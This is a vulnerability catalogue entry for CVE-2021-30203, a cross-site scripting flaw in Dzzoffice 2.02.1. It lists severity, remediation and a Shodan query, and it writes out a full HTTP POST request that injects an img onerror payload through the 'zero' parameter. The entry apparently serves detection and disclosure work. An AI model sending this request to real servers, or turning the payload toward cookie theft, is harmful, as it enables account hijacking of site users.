| Title | Dzzoffice 2.02.1 - Cross-Site Scripting |
|---|---|
| Author | arafatansari |
| Severity | High |
| Impact | Attackers can inject malicious JavaScript via XSS in the zero parameter, potentially stealing session cookies or performing unauthorized actions. |
| Remediation | Upgrade to Dzzoffice version 2.02.2 or later. |
| CVSS Score | 7.2 |
| EPSS Score | 0.01296 |
| CVE ID | CVE-2021-30203 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:"dzzoffice" |
| Tags | cve cve2021 dzzoffice xss vuln |
Dzzoffice 2.02.1_SC_UTF8 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the zero parameter.
POST /index.php?mod=system&op=orgtree&do=orgtree HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.6
Connection: close
Content-Length: 101
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip
id=%23&nouser=0&moderator=0&zero=<img+src=x+onerror=alert(document.domain)>&stype=0&range=0&showjob=0
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-30203.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-30203.pcap
N/AN/A